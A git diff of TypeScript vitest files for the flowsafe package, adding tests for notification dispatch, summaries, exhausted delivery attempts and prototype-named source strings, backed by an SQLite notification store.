+      threadId: THREAD_ID,
+      resourceId: resourceIdFromKey('itest'),
+      agentId: agent.id,
+      source: 'provider',
+      kind: 'changed',
+      summary: 'due input',
+      priority: 'urgent',
+      deliverAt: new Date(now.getTime() - 1),
+    });
+    const topology = createThreadTopology(
+      threadNamespace({
+        agent,
+        resolveNotificationsStorage: () => storage,
+      }),
+    );
+    const context = createPrincipalActorContext({
+      principal: trustAutomationPrincipal({
+        kind: 'system',
+        id: 'notification-maintenance',
+        purpose: 'notification.dispatch',
+      }),
+      storeFactory: new InMemoryApprovalStoreFactory(),
+      buildService: () => {
+        throw new Error('approval service is not used in notification tests');
+      },
+    });
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology,
+      resolveContext: () => context,
+      executionFence: 'none',
+      now: () => now,
+      limit: 1,
+    });
+
+    expect(await tick()).toEqual({ due: 1, delivered: 1, failed: 0 });
+    expect(sendSignal).toHaveBeenCalledOnce();
+    expect(sendSignal.mock.calls[0]?.[0]).toMatchObject({
+      contents: 'due input',
+      metadata: { notification: { recordId: due.id } },
+    });
+    expect(await storage.getNotification(due)).toMatchObject({
+      status: 'delivered',
+      deliveredSignalId: expect.any(String),
+    });
+    expect(await storage.getNotification(future)).toEqual(future);
+    expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 });
+    expect(sendSignal).toHaveBeenCalledOnce();
+  });
+});
diff --git a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts
index a75b5098..03a27bca 100644
--- a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts
+++ b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts
@@ -7,19 +7,24 @@ import type { MastraModelConfig } from '@mastra/core/llm';
 import { Mastra } from '@mastra/core/mastra';
 import { MockMemory } from '@mastra/core/memory';
 import { RequestContext } from '@mastra/core/request-context';
-import { InMemoryStore } from '@mastra/core/storage';
+import { InMemoryStore, MastraCompositeStore } from '@mastra/core/storage';
 import {
   ACTOR_CONTEXT_KEY,
   AuditLogger,
   createGuardedAgent,
 } from '@proofoftech/breakwater';
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 import { FLOWSAFE_PERSISTENCE_FORBIDDEN } from '../agent-runner/durable-agent-runner.js';
 import {
   createFlowsafeDurableAgent,
   type FlowsafeDurableAgent,
 } from '../agent-runner/index.js';
-import { humanPrincipal } from '../approval-api/index.js';
+import {
+  humanPrincipal,
+  trustAutomationPrincipal,
+} from '../approval-api/index.js';
+import type { ExecutionFenceDatabase } from '../do-runner/execution-fence.js';
 import {
   createHostPubSub,
   InvalidRunRequestError,
@@ -27,6 +32,9 @@ import {
   type RunnerRuntime,
   type ThreadScope,
 } from '../do-runner/index.js';
+import type { SignalDatabase } from './d1-shared.js';
+import { DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS } from './notification-dispatch.js';
+import { D1NotificationsStorage } from './notifications-d1.js';
 import { createThreadSignalRoutes } from './thread-do-routes.js';
 
 const RESOURCE_ID = 'resource-real';
@@ -94,7 +102,15 @@ async function createHarness(options: { canPersist?: boolean } = {}) {
   const pubsub = createHostPubSub();
   const memory = new MockMemory();
   const { runtime, start } = fakeRuntime(pubsub);
-  const mastra = new Mastra({ storage: new InMemoryStore(), logger: false });
+  const notifications = new D1NotificationsStorage(
+    sqliteUnitDatabase(openSqlite()) as SignalDatabase,
+  );
+  const storage = new MastraCompositeStore({
+    id: 'real-notification-test',
+    default: new InMemoryStore(),
+    domains: { notifications },
+  });
+  const mastra = new Mastra({ storage, logger: false });
   const agent = createFlowsafeDurableAgent({
     agent: guardedTestAgent(memory),
     runtime,
@@ -116,7 +132,7 @@ async function createHarness(options: { canPersist?: boolean } = {}) {
       return storage;
     },
   });
-  return { agent, mastra, memory, pubsub, routes, start };
+  return { agent, mastra, memory, notifications, pubsub, routes, start };
 }
 
 function scope(
@@ -201,6 +217,83 @@ afterEach(() => {
 });
 
 describe('thread signal routes with a real durable agent', () => {
+  it.each([
+    'deliver',
+    'exhausted',
+  ] as const)('dispatches through D1 notification storage with a real agent: %s', async (mode) => {
+    const harness = await createHarness();
+    const threadId = crypto.randomUUID();
+    await seedThread(harness.memory, threadId);
+    const now = new Date();
+    const record = await harness.notifications.createNotification({
+      threadId,
+      resourceId: RESOURCE_ID,
+      agentId: 'writer',
+      source: 'provider',
+      kind: 'changed',
+      summary: 'notification input',
+      deliverAt: now,
+    });
+    if (mode === 'exhausted') {
+      await harness.notifications.updateNotification({
+        threadId,
+        id: record.id,
+        deliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+        lastDeliveryError: 'target refused',
+        lastDeliveryAttemptAt: now,
+      });
+    }
+    const send = vi.spyOn(harness.agent, 'sendSignal');
+    const response = await harness.routes(
+      post('/signal/notifications/dispatch', {
+        notificationIds: [record.id],
+        resourceId: RESOURCE_ID,
+        agentId: 'writer',
+        now: now.toISOString(),
+      }),
+      {
+        ...scope(harness.pubsub, threadId),
+        principal: trustAutomationPrincipal({
+          kind: 'system',
+          id: 'notification-dispatch',
+          purpose: 'notification.dispatch',
+        }),
+      },
+    );
+    expect(response?.status).toBe(200);
+    const persisted = await harness.notifications.getNotification({
+      threadId,
+      id: record.id,
+    });
+    if (mode === 'exhausted') {
+      expect(await response?.json()).toMatchObject({
+        delivered: 0,
+        failed: 0,
+        discarded: 1,
+      });
+      expect(send).not.toHaveBeenCalled();
+      expect(persisted).toMatchObject({
+        status: 'discarded',
+        deliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+        lastDeliveryError: 'target refused',
+        lastDeliveryAttemptAt: now,
+        deliveryReason: 'delivery-attempts-exhausted',
+        discardedAt: expect.any(Date),
+      });
+      expect(persisted?.deliverAt).toBeUndefined();
+      expect(persisted?.summaryAt).toBeUndefined();
+    } else {
+      expect(await response?.json()).toMatchObject({ delivered: 1, failed: 0 });
+      expect(send).toHaveBeenCalledOnce();
+      expect(persisted).toMatchObject({
+        status: 'delivered',
+        deliveredSignalId: expect.any(String),
+      });
+      expect(await recalled(harness.memory, threadId)).toHaveLength(1);
+    }
+    expect(harness.start).not.toHaveBeenCalled();
+  });
+
   it('persists an idle queue message without a run', async () => {
     const harness = await createHarness();
     const threadId = crypto.randomUUID();
@@ -518,6 +611,89 @@ describe('thread signal routes with a real durable agent', () => {
     expect(unhandled).toEqual([]);
   });
 
+  // A low-priority owner notification is deferred to the dispatcher, which is
+  // where the real durable agent and the real D1 store reach Core's summary
+  // helper over a batch. The source strings here name Object.prototype members.
+  it('summarizes prototype-colliding owner notifications through the dispatcher', async () => {
+    // #given — deferred owner notifications with colliding source names
+    const harness = await createHarness();
+    const threadId = crypto.randomUUID();
+    await seedThread(harness.memory, threadId);
+    const ids: string[] = [];
+    for (const source of ['constructor', '__proto__']) {
+      const response = await harness.routes(
+        post('/signal/notification', {
+          source,
+          kind: 'changed',
+          summary: `${source} input`,
+          priority: 'low',
+        }),
+        scope(harness.pubsub, threadId),
+      );
+      expect(response?.status).toBe(200);
+      const body = (await response?.json()) as {
+        record: { record: { id: string; source: string }; decision: unknown };
+      };
+      expect(body.record.decision).toMatchObject({ action: 'summarize' });
+      expect(body.record.record.source).toBe(source);
+      ids.push(body.record.record.id);
+    }
+
+    // #when — the dispatcher summarizes the due batch
+    const send = vi.spyOn(harness.agent, 'sendSignal');
+    const response = await harness.routes(
+      post('/signal/notifications/dispatch', {
+        notificationIds: ids,
+        resourceId: RESOURCE_ID,
+        agentId: 'writer',
+        now: new Date(Date.now() + 60_000).toISOString(),
+      }),
+      {
+        ...scope(harness.pubsub, threadId),
+        principal: trustAutomationPrincipal({
+          kind: 'system',
+          id: 'notification-dispatch',
+          purpose: 'notification.dispatch',
+        }),
+      },
+    );
+
+    // #then — each colliding source is counted once, as its own entry
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toMatchObject({ delivered: 2, failed: 0 });
+    expect(send).toHaveBeenCalledOnce();
+    const summary = send.mock.calls[0]?.[0] as unknown as {
+      tagName: string;
+      contents: string;
+      attributes: Record<string, unknown>;
+      metadata: Record<string, unknown>;
+    };
+    expect(summary.tagName).toBe('notification-summary');
+    expect(summary.contents).toBe('__proto__: 1, constructor: 1');
+    expect(summary.attributes).toMatchObject({ pending: 2 });
+    expect(summary.metadata.notification).toMatchObject({
+      signal: 'summary',
+      pending: 2,
+      groups: [
+        { source: '__proto__', count: 1 },
+        { source: 'constructor', count: 1 },
+      ],
+      byPriority: { low: 2 },
+      priority: 'low',
+    });
+    for (const id of ids) {
+      expect(
+        await harness.notifications.getNotification({ threadId, id }),
+      ).toMatchObject({
+        status: 'pending',
+        summaryAt: undefined,
+        summarySignalId: expect.any(String),
+      });
+    }
+    expect(harness.start).not.toHaveBeenCalled();
+    expect(unhandled).toEqual([]);
+  });
+
   it('terminally closes direct calls and protects a registered host start', async () => {
     const harness = await createHarness();
     const directThreadId = crypto.randomUUID();
@@ -585,6 +761,17 @@ describe('thread signal routes with a real durable agent', () => {
           },
           'operator',
           'human',
+          undefined,
+          undefined,
+          undefined,
+          {
+            startIdentity: {
+              owner: { kind: 'human', id: 'operator' },
+              target: { kind: 'agent', id: 'writer', threadId: directThreadId },
+            },
+            agentStart: { threaded: false },
+            onPreparedStartIdentity: undefined,
+          },
         ),
         'untilIdle refusal',
       ),
@@ -608,6 +795,17 @@ describe('thread signal routes with a real durable agent', () => {
       { runId: hostId, requestContext: actorContext() },
       'operator',
       'human',
+      undefined,
+      undefined,
+      undefined,
+      {
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator' },
+          target: { kind: 'agent', id: 'writer', threadId: hostId },
+        },
+        agentStart: { threaded: false },
+        onPreparedStartIdentity: undefined,
+      },
     );
     await vi.waitFor(() => expect(harness.start).toHaveBeenCalledOnce());
     await expect(
@@ -646,6 +844,17 @@ describe('thread signal routes with a real durable agent', () => {
         { runId: hostId, requestContext: actorContext() },
         'operator',
         'human',
+        undefined,
+        undefined,
+        undefined,
+        {
+          startIdentity: {
+            owner: { kind: 'human', id: 'operator' },
+            target: { kind: 'agent', id: 'writer', threadId: hostId },
+          },
+          agentStart: { threaded: false },
+          onPreparedStartIdentity: undefined,
+        },
       ),
       'suspended host stream persistence',
     );
@@ -665,6 +874,17 @@ describe('thread signal routes with a real durable agent', () => {
         { runId: hostId, requestContext: actorContext() },
         'operator',
         'human',
+        undefined,
+        undefined,
+        undefined,
+        {
+          startIdentity: {
+            owner: { kind: 'human', id: 'operator' },
+            target: { kind: 'agent', id: 'writer', threadId: hostId },
+          },
+          agentStart: { threaded: false },
+          onPreparedStartIdentity: undefined,
+        },
       ),
     ).rejects.toBeInstanceOf(InvalidRunRequestError);
     expect(globalRunRegistry.get(hostId)).toBe(liveEntry);
@@ -691,3 +911,99 @@ describe('thread signal routes with a real durable agent', () => {
     await within(first.output.consumeStream(), 'suspended stream cleanup');
   }, 15_000);
 });
+
+describe('FS8 D3 proof activation actual agent authority', () => {
+  it('uses the actual wrapper workflow and refuses a replaced generation after content inspection', async () => {
+    const sqlite = openSqlite();
+    const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
+    const pubsub = createHostPubSub();
+    const runner = init({ DB: db }, { pubsub, tablePrefix: 'proof_' });
+    const fence = runner.executionFence;
+    if (!fence) throw new Error('fixture fence missing');
+    const memory = new MockMemory();
+    const agent = createFlowsafeDurableAgent({
+      agent: guardedTestAgent(memory),
+      runtime: runner.runtime,
+      pubsub,
+      cache: false,
+    });
+    const workflowId = agent.getWorkflow().id;
+    const threadId = 'thread-real-proof';
+    const runId = 'run-real-proof';
+    const source = {
+      version: 2,
+      startToken: 'generation',
+      attemptToken: 'attempt',
+      resumeCounts: [],
+      startIdentity: {
+        owner: { kind: 'human', id: 'operator' },
+        target: { kind: 'agent', id: 'writer', threadId },
+      },
+      agentStart: { threaded: true },
+    };
+    sqlite.exec(
+      'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY (workflow_name,run_id))',
+    );
+    const write = () =>
+      sqlite
+        .prepare(
+          'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)',
+        )
+        .run(
+          workflowId,
+          runId,
+          threadId,
+          JSON.stringify({
+            runId,
+            status: 'suspended',
+            requestContext: { 'flowsafe.runProvenance': source },
+            steps: {},
+            suspendedPaths: {},
+          }),
+          '2026-09-07T00:00:00Z',
+          '2026-09-07T00:00:00Z',
+        );
+    write();
+    await fence.seed('migration-locked');
+    await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'proof',
+    });
+    sqlite
+      .prepare(
+        'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?',
+      )
+      .run(runId, 'proof_', workflowId, 'generation');
+    vi.spyOn(agent, 'getActiveThreadRunId').mockReturnValue(runId);
+    const send = vi.spyOn(agent, 'sendMessage');
+    const saves = vi.spyOn(memory, 'saveMessages');
+    expect(
+      await agent.proofExecutionFor(runner.runtime, threadId, runId),
+    ).toMatchObject({
+      workflowId,
+      startToken: 'generation',
+      tablePrefix: 'proof_',
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => agent as unknown as Agent,
+      resolveResourceId: () => threadId,
+      contentPolicy: async () => {
+        source.startToken = 'replacement';
+        write();
+        return { allowed: true };
+      },
+    });
+    const response = await route(
+      post('/signal/queue', { contents: 'held content' }),
+      {
+        threadId,
+        principal: humanPrincipal({ id: 'operator', role: 'operator' }),
+        init: runner,
+      },
+    );
+    expect(send).not.toHaveBeenCalled();
+    expect(saves).not.toHaveBeenCalled();
+    expect(response?.status).toBe(503);
+  });
+});
diff --git a/packages/flowsafe/src/signals/thread-do-routes.test.ts b/packages/flowsafe/src/signals/thread-do-routes.test.ts
index 69ee2fdb..d98a4cec 100644
--- a/packages/flowsafe/src/signals/thread-do-routes.test.ts
+++ b/packages/flowsafe/src/signals/thread-do-routes.test.ts
@@ -28,6 +28,8 @@ import {
   RunStateUnreadableError,
   type ThreadScope,
 } from '../do-runner/index.js';
+import type { SignalDatabase } from './d1-shared.js';
+import { D1NotificationsStorage } from './notifications-d1.js';
 import {
   createThreadSignalRoutes,
   type SignalContentPolicy,
@@ -35,6 +37,12 @@ import {
   type SignalContentPolicyResult,
 } from './thread-do-routes.js';
 
+function notificationStore(): D1NotificationsStorage {
+  return new D1NotificationsStorage(
+    sqliteUnitDatabase(openSqlite()) as SignalDatabase,
+  );
+}
+
 interface AgentCall {
   method: string;
   target: {
@@ -822,7 +830,10 @@ describe('createThreadSignalRoutes', () => {
     expect(calls).toHaveLength(0);
   });
 
-  it('resolves throwing memory lazily and fails closed only at persist gates', async () => {
+  it.each([
+    'returns',
+    'throws',
+  ])('resolves throwing memory lazily and fails closed only at persist gates when the logger %s', async (logger) => {
     const throwingMemoryAgent = () => {
       const mocked = mockAgent();
       const getMemory = vi.fn(() => {
@@ -880,7 +891,9 @@ describe('createThreadSignalRoutes', () => {
     expect(notifying.getMemory).not.toHaveBeenCalled();
 
     const persisting = throwingMemoryAgent();
-    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {
+      if (logger === 'throws') throw new Error('logger failed');
+    });
     try {
       const persistingRoutes = createThreadSignalRoutes({
         resolveAgent: () => persisting.agent,
@@ -890,10 +903,12 @@ describe('createThreadSignalRoutes', () => {
         post('/signal/queue', { contents: 'persist' }),
         scopeWith(undefined),
       );
+      expect(queueResponse?.status).toBe(200);
       expect(await queueResponse?.json()).toEqual({
         decision: { action: 'discard', reason: 'memory-unavailable' },
       });
       expect(persisting.getMemory).toHaveBeenCalledOnce();
+      expect(persisting.calls).toHaveLength(0);
       expect(log).toHaveBeenCalledWith(
         JSON.stringify({
           type: 'signal-memory-resolution-failed',
@@ -1621,7 +1636,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('dispatches a due notification through a server-minted idle wake and marks it delivered', async () => {
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'due-idle',
       threadId: 'acme_t1',
@@ -1681,7 +1696,7 @@ describe('createThreadSignalRoutes', () => {
     });
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'stale-delivery',
       threadId: 'acme_t1',
@@ -1716,7 +1731,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('deduplicates notification ids in first-seen order', async () => {
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'duplicate',
       threadId: 'acme_t1',
@@ -1780,7 +1795,7 @@ describe('createThreadSignalRoutes', () => {
     (
       agent as unknown as { getActiveThreadRunId: () => string }
     ).getActiveThreadRunId = () => 'active';
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const summary = await storage.createNotification({
       id: 'low-summary',
       threadId: 'acme_t1',
@@ -1880,7 +1895,7 @@ describe('createThreadSignalRoutes', () => {
     (
       agent as unknown as { getActiveThreadRunId: () => string }
     ).getActiveThreadRunId = () => 'active';
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const createdAt = new Date('2026-07-20T10:00:00.000Z');
     const summary = await storage.createNotification({
       id: 'tied-summary',
@@ -1944,7 +1959,7 @@ describe('createThreadSignalRoutes', () => {
     );
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const bothDue = await storage.createNotification({
       id: 'both-due',
       threadId: 'acme_t1',
@@ -2000,7 +2015,7 @@ describe('createThreadSignalRoutes', () => {
         getActiveThreadRunId: () => string | undefined;
       }
     ).getActiveThreadRunId = () => activeRunId;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'summarized-high',
       threadId: 'acme_t1',
@@ -2064,7 +2079,7 @@ describe('createThreadSignalRoutes', () => {
     (
       agent as unknown as { getActiveThreadRunId: () => string }
     ).getActiveThreadRunId = () => 'active';
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'summarized-urgent',
       threadId: 'acme_t1',
@@ -2114,7 +2129,7 @@ describe('createThreadSignalRoutes', () => {
         getActiveThreadRunId: () => string | undefined;
       }
     ).getActiveThreadRunId = () => activeRunId;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const createSummarizedHigh = async (id: string) => {
       const record = await storage.createNotification({
         id,
@@ -2211,7 +2226,7 @@ describe('createThreadSignalRoutes', () => {
 
     for (const testCase of cases) {
       const { agent, calls } = mockAgent();
-      const storage = new InMemoryNotificationsStorage();
+      const storage = notificationStore();
       const record = await storage.createNotification({
         id: testCase.name,
         threadId: 'acme_t1',
@@ -2259,7 +2274,7 @@ describe('createThreadSignalRoutes', () => {
     const routes = createThreadSignalRoutes({
       resolveAgent: () => agent,
       resolveResourceId: () => 'acme_res',
-      resolveNotificationsStorage: () => new InMemoryNotificationsStorage(),
+      resolveNotificationsStorage: () => notificationStore(),
     });
 
     const response = await routes(
@@ -2280,7 +2295,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('skips a future notification after re-fetching under the lane', async () => {
     const { agent, calls } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'future',
       threadId: 'acme_t1',
@@ -2325,7 +2340,7 @@ describe('createThreadSignalRoutes', () => {
     }));
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'overlap',
       threadId: 'acme_t1',
@@ -2377,7 +2392,7 @@ describe('createThreadSignalRoutes', () => {
     }));
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'summary-overlap',
       threadId: 'acme_t1',
@@ -2443,7 +2458,7 @@ describe('createThreadSignalRoutes', () => {
         sendNotificationSignal: typeof sendNotificationSignal;
       }
     ).sendNotificationSignal = sendNotificationSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'lane-order',
       threadId: 'acme_t1',
@@ -2490,7 +2505,7 @@ describe('createThreadSignalRoutes', () => {
     const routes = createThreadSignalRoutes({
       resolveAgent: () => agent,
       resolveResourceId: () => 'acme_res',
-      resolveNotificationsStorage: () => new InMemoryNotificationsStorage(),
+      resolveNotificationsStorage: () => notificationStore(),
     });
     const input = (count: number) => ({
       notificationIds: Array.from(
@@ -2525,7 +2540,7 @@ describe('createThreadSignalRoutes', () => {
     (
       agent as unknown as { getActiveThreadRunId: () => string }
     ).getActiveThreadRunId = () => 'acme_active-run';
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'due-active',
       threadId: 'acme_t1',
@@ -2572,7 +2587,7 @@ describe('createThreadSignalRoutes', () => {
     }));
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'persist-wait',
       threadId: 'acme_t1',
@@ -2635,7 +2650,7 @@ describe('createThreadSignalRoutes', () => {
     }));
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'persist-reject',
       threadId: 'acme_t1',
@@ -2703,7 +2718,7 @@ describe('createThreadSignalRoutes', () => {
     }));
     (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal =
       sendSignal;
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'low-summary',
       threadId: 'acme_t1',
@@ -2770,7 +2785,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('fails an all-low summary when the agent has no memory', async () => {
     const { agent, calls } = mockAgent({ memory: undefined });
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'low-summary-no-memory',
       threadId: 'acme_t1',
@@ -2815,7 +2830,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('executes a low summary as automation when it may not persist into the owner thread', async () => {
     const { agent, calls } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'low-system-summary',
       threadId: 'acme_t1',
@@ -2871,7 +2886,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('retains wake behavior for a high-priority summary', async () => {
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'high-summary',
       threadId: 'acme_t1',
@@ -2917,13 +2932,100 @@ describe('createThreadSignalRoutes', () => {
     });
   });
 
+  it('summarizes a due batch of prototype-colliding sources as own counts', async () => {
+    const { agent } = mockAgent();
+    const storage = notificationStore();
+    const summaryAt = new Date(0);
+    const records = [];
+    // Mixed priorities keep one summary group while taking the sending branch
+    // rather than the all-low persist-without-wake branch.
+    for (const [id, source, priority] of [
+      ['due-proto', '__proto__', 'low'],
+      ['due-constructor', 'constructor', 'medium'],
+      ['due-crm', 'crm', 'low'],
+      ['due-crm-again', 'crm', 'medium'],
+    ] as const) {
+      records.push(
+        await storage.createNotification({
+          id,
+          threadId: 'acme_t1',
+          resourceId: 'acme_res',
+          agentId: 'agent',
+          source,
+          kind: 'digest',
+          summary: 'digest',
+          priority,
+          summaryAt,
+        }),
+      );
+    }
+    const startIdleRun = vi.fn(async ({ runId }) => ({ runId }));
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () => agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+      consultRunCap: () => true,
+      startIdleRun,
+    });
+
+    const response = await routes(
+      post('/signal/notifications/dispatch', {
+        notificationIds: records.map((record) => record.id),
+        resourceId: 'acme_res',
+        agentId: 'agent',
+        now: '2026-07-20T12:00:00.000Z',
+      }),
+      scopeWith(undefined),
+    );
+
+    expect(await response?.json()).toEqual({ delivered: 4, failed: 0 });
+    expect(startIdleRun).toHaveBeenCalledTimes(1);
+    const signal = startIdleRun.mock.calls[0]?.[0]?.signal as unknown as {
+      contents: string;
+      attributes: Record<string, unknown>;
+      metadata: Record<string, unknown>;
+    };
+    expect(signal.contents).toBe('__proto__: 1, constructor: 1, crm: 2');
+    expect(signal.attributes).toMatchObject({ pending: 4 });
+    expect(signal.metadata.notification).toEqual({
+      signal: 'summary',
+      pending: 4,
+      groups: [
+        { source: '__proto__', count: 1 },
+        { source: 'constructor', count: 1 },
+        { source: 'crm', count: 2 },
+      ],
+      byPriority: { low: 2, medium: 2 },
+      notificationIds: [
+        'due-proto',
+        'due-constructor',
+        'due-crm',
+        'due-crm-again',
+      ],
+      priority: 'medium',
+    });
+
+    for (const record of records) {
+      expect(
+        await storage.getNotification({
+          threadId: record.threadId,
+          id: record.id,
+        }),
+      ).toMatchObject({
+        status: 'pending',
+        summaryAt: undefined,
+        summarySignalId: expect.any(String),
+      });
+    }
+  });
+
   it('rejects notification dispatch when the requested agent is missing or resolves incorrectly', async () => {
     const { agent, calls } = mockAgent();
     const resolveAgent = vi.fn(() => agent);
     const routes = createThreadSignalRoutes({
       resolveAgent,
       resolveResourceId: () => 'acme_res',
-      resolveNotificationsStorage: () => new InMemoryNotificationsStorage(),
+      resolveNotificationsStorage: () => notificationStore(),
     });
 
     const missing = await routes(
@@ -2955,7 +3057,7 @@ describe('createThreadSignalRoutes', () => {
 
   it('rejects a pending row bound to a different agent before sending', async () => {
     const { agent, calls } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'wrong-agent-row',
       threadId: 'acme_t1',
@@ -3551,6 +3653,48 @@ describe('createThreadSignalRoutes — signal content policy', () => {
     expect(inputs[1]?.text).toContain('crm: 1');
   });
 
+  it.each([
+    ['constructor', 'constructor: 1'],
+    ['__proto__', '__proto__: 1'],
+    ['toString', 'toString: 1'],
+    ['hasOwnProperty', 'hasOwnProperty: 1'],
+  ])('counts the prototype-colliding source %s once in the inspected summary', async (source, rendered) => {
+    // #given — the same gate, with a source string that names
+    // an Object.prototype member
+    const { agent, calls } = mockAgent();
+    const inputs: SignalContentPolicyInput[] = [];
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () => agent,
+      resolveResourceId: () => 'acme_res',
+      contentPolicy: (input) => {
+        inputs.push(input);
+        return input.text.includes('notification-summary')
+          ? DENIED
+          : ({ allowed: true } as const);
+      },
+    });
+
+    // #when
+    const response = await routes(
+      post('/signal/notification', {
+        source,
+        kind: 'lead',
+        summary: 'benign summary',
+        priority: 'medium',
+      }),
+      scopeWith(undefined),
+    );
+
+    // #then — one pending record renders one count, not an inherited member
+    expect(response?.status).toBe(422);
+    expect(calls).toHaveLength(0);
+    expect(inputs).toHaveLength(2);
+    expect(inputs[1]?.text).toContain('<notification-summary');
+    expect(inputs[1]?.text).toContain('pending="1"');
+    expect(inputs[1]?.text).toContain(rendered);
+    expect(inputs[0]?.text).toContain(`source="${source}"`);
+  });
+
   it('inspects both schedule delivery branches and discards terminally on denial', async () => {
     // #given — distinct active/idle attributes; only the idle branch denies
     const { agent, calls } = mockAgent();
@@ -3645,7 +3789,7 @@ describe('createThreadSignalRoutes — signal content policy', () => {
   it('discards a denied due notification instead of retrying it', async () => {
     // #given
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'denied-one',
       threadId: 'acme_t1',
@@ -3704,7 +3848,7 @@ describe('createThreadSignalRoutes — signal content policy', () => {
   it('retries a due notification with a sanitized error when the policy fails', async () => {
     // #given
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const record = await storage.createNotification({
       id: 'failed-one',
       threadId: 'acme_t1',
@@ -3755,7 +3899,7 @@ describe('createThreadSignalRoutes — signal content policy', () => {
   it('discards every member of a denied summary', async () => {
     // #given — two low notifications that summarize rather than deliver
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const records: NotificationRecord[] = [];
     for (const id of ['sum-a', 'sum-b']) {
       records.push(
@@ -3845,33 +3989,40 @@ describe('createThreadSignalRoutes — signal content policy', () => {
     expect(inputs[0]?.runId).toBe('run_1');
   });
 
-  it.each([
-    { case: 'tag name', overrides: { tagName: 'not a name' } },
-    {
-      case: 'target attributes',
-      overrides: { attributes: { 'not a name': 'x' } },
-    },
-    {
-      case: 'active branch attributes',
-      overrides: {
-        ifActive: { behavior: 'deliver', attributes: { 'not a name': 'x' } },
+  it.each(
+    [
+      { case: 'tag name', overrides: { tagName: 'not a name' } },
+      {
+        case: 'target attributes',
+        overrides: { attributes: { 'not a name': 'x' } },
       },
-    },
-    {
-      case: 'idle branch attributes',
-      overrides: {
-        ifIdle: { behavior: 'wake', attributes: { 'not a name': 'x' } },
+      {
+        case: 'active branch attributes',
+        overrides: {
